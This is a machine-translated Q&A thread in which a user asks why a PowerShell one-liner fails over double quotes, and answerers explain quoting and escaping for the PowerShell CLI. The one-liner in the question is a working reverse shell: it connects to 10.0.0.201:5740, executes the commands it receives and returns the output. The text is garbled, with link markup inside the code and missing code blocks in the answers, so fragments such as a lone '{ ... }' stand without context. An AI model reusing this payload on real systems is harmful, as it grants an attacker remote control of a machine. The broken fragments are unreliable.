因为这个问题,我一整天都在揪头发。
我正在开发一个powershell一行程序,Powershell对我使用的引号很挑剔。“
与"
,powershell要求前者。
最后,我遇到的一个大问题是,如果我使用普通的引号,powershell命令将无法工作。下面是命令,后面是正在发生的错误。如果我使用奇怪的引号(而不是所有正常的双引号)命令会工作得很好。它需要这个奇怪的引号。有人知道这里发生了什么吗?理论上它们都应该工作,但他们绝对不会。我的用例使我无法输入奇怪的引号。
powershell 'Set-Variable -Value (New-Object System.Net.Sockets.TCPClient("[10.0.0.201](https://10.0.0.201)",5740)) - Name client;Set-Variable -Value ($client.GetStream()) -Name stream;\[byte\[\]\]$bytes = 0..65535|%{0};while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0){;Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data;Set-Variable -Value (iex $data 2>&1 | Out-String ) -Name sendback;Set-Variable -Value ($sendback + "PS " + (pwd).Path + "> ") -Name sendback2;Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2));$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
错误:
At line:1 char:468
\+ ... Out-String ) -Name sendback;Set-Variable -Value ($sendback + PS + ( ...
\+ \~
You must provide a value expression following the '+' operator.
At line:1 char:469
\+ ... t-String ) -Name sendback;Set-Variable -Value ($sendback + PS + (pwd ...
\+ \~\~
Unexpected token 'PS' in expression or statement.
At line:1 char:468
\+ ... Out-String ) -Name sendback;Set-Variable -Value ($sendback + PS + ( ...
\+ \~
Missing closing ')' in expression.
At line:1 char:489
\+ ... endback;Set-Variable -Value ($sendback + PS + (pwd).Path + > ) -Name ...
\+ \~
Missing file specification after redirection operator.
At line:1 char:262
\+ ... lue ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0){;Set-Var ...
\+ \~
Missing closing '}' in statement block or type definition.
At line:1 char:490
\+ ... dback;Set-Variable -Value ($sendback + PS + (pwd).Path + > ) -Name s ...
\+ \~
Unexpected token ')' in expression or statement.
At line:1 char:650
\+ ... ;$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client ...
\+ \~
Unexpected token '}' in expression or statement.
\+ CategoryInfo : ParserError: (:) \[\], ParentContainsErrorRecordException
\+ FullyQualifiedErrorId : ExpectedValueExpression
2条答案
按热度按时间zzlelutf1#
正如我的评论。打开任何PowerShell编辑器查看您的代码,看看您哪里出错了,因为编辑器会突出显示问题,早在您尝试运行之前。
这才是你真正拥有的:
我去掉了别名,因为别名通常不用于生产脚本。请参阅有关该主题的文档。别名适用于一次性代码和快速CLI内容。
除非你需要扩展变量或其他特殊的格式,否则简单的字符串就用单引号,尤其是当你把这类东西放在一行的时候,这样可以避免不必要的引用技巧。
所以,稍微重构一下应该可以让它工作。
将所有这些放在一行中,并通过cmd.exe调用powershell.exe运行,可能如下所示。
然而,只有你可以测试这个,因为我们这里没有人会有像你一样的环境。
20jt8wwn2#
Your Reddit cross-post显示您正在尝试从PowerShell内部调用PowerShell CLI*:
{ ... }
)**内传递命令,这避免了令人头痛的引用问题,还支持(有限的)类型保真度(不仅仅是 * 字符串 *)-请参见this answer。\"
,才能被视为要执行的PowerShell命令的一部分-有关说明,请参见this answer。“
,转义就不需要了,原因在下面一节解释过,但是,这不应该依赖。“
),则必须确保PowerShell正确解释脚本文件的字符编码,对于UTF-8文件,这特别要求它们在 * Windows PowerShell * 中 * 具有BOM *-请参见this answer。cmd.exe
/从 * PowerShell * 外部 * 调用PowerShell CLI * 的一般情况*。左,右
“
和”
(请参阅下面的部分了解原因)。"
),并将其 * 转义为 *\"
'...'
封装传递到PowerShell CLI的PowerShell命令(在Windows上,从PowerShell外部),除非您的目的是创建 * string literal * 而不是执行命令。从
cmd.exe
*/*在PowerShell *[1]之外调用powershell.exe
(Windows PowerShell CLI),使其按预期 * 工作的关键是:'...'
引号**(单引号),因为PowerShell会将整个参数解释为 * 逐字字符串 * 而不是 * 命令 *。"..."
报价(见下文)。\
作为转义字符-* 除非 * 用于转义"
字符**(参见下文)。\
* 不 * 用作通用转义字符(在PowerShell和cmd.exe
中都不是),[
和]
* 不 * 需要转义,因此,例如,\[byte\[\]\]
应该只是[byte[]]
。cmd.exe
的转义字符(仅在 * 无引号 * 参数中)是^
。"
您希望作为PowerShell命令一部分执行的字符必须 * 转义为 *\"
**"
字符是一个要求,无论你是否使用整个"..."
引号,但 * 没有 * 后者,它是 * 只有 *\"
工作-见this answer,这也解释了 * 为什么 * 这种转义是必要的。"..."
引用,这通常是更可取的,因为cmd.exe
然后(大多数情况下)* 不 * 解释内容,\"
也可以工作,但仍然存在可能发生cmd.exe
误解的边缘情况,在这种情况下,"
-escaping的 * 替代 * 形式是解决方案:不幸的是,这种替代形式是特定于版本的:"^""..."^""
(原文如此)在 * Windows PowerShell * 中,""...""
在 * PowerShell(核心)7 +* 中-请参阅this answer。cmd.exe
/a批处理文件调用时,避免使用%
**,除非您尝试引用cmd.exe
样式的环境变量,例如%OS%
:%
字符必须转义为%%
cmd.exe
会话中,%
根本无法转义,%%
将 * 按原样 * 传递。%
;在这里,您可以使用foreach
作为%
作为ForEach-Object
cmdlet别名的替代方法(当然,您也可以使用完整的cmdlet名称)。下面是一个简化的命令,它实现了上述所有提示:
您应该能够相应地修复您的命令(如问题中所示,它还有其他问题,与引用和转义无关)。
PowerShell-* internally *,则允许将非ASCII范围标点符号替换为ASCII范围标点符号:
正如您所发现的,
“
(左双引号,U+201C
)和”
(右双引号,U+201D
)可以用来代替一对常规双引号("
)This answer概述了支持的所有替换。
相比之下,在PowerShell CLI的 * 命令行上,只有标准的ASCII范围双引号(
"
(QUOTATION MARK,U+0022
))具有 * 语法功能,因此非ASCII范围“
和”
字符作为要执行的PowerShell命令的一部分 * 传递 *。也就是说,使用非ASCII范围的
“
和”
字符可以有效地避免对它们进行 * 转义 *-无论是在无引号的标记中还是在普通的"..."
中然而,这种行为是模糊的和视觉上微妙的,不应该依赖:相反,始终使用普通双引号,并将传递双引号转义为
\"
,如上所述。顺便说一句:常规控制台窗口(
conhost.exe
)甚至不允许粘贴非ASCII范围的双引号:它们被转换为普通的。但是,您可以将它们粘贴到Windows终端和Windows运行对话框(WinKey-R)中。[1]在PowerShell * 内部 *,很少需要调用PowerShell CLI;如果需要,最好的方法是将命令 * 作为脚本块 *(
{ ... }
)传递-参见this answer。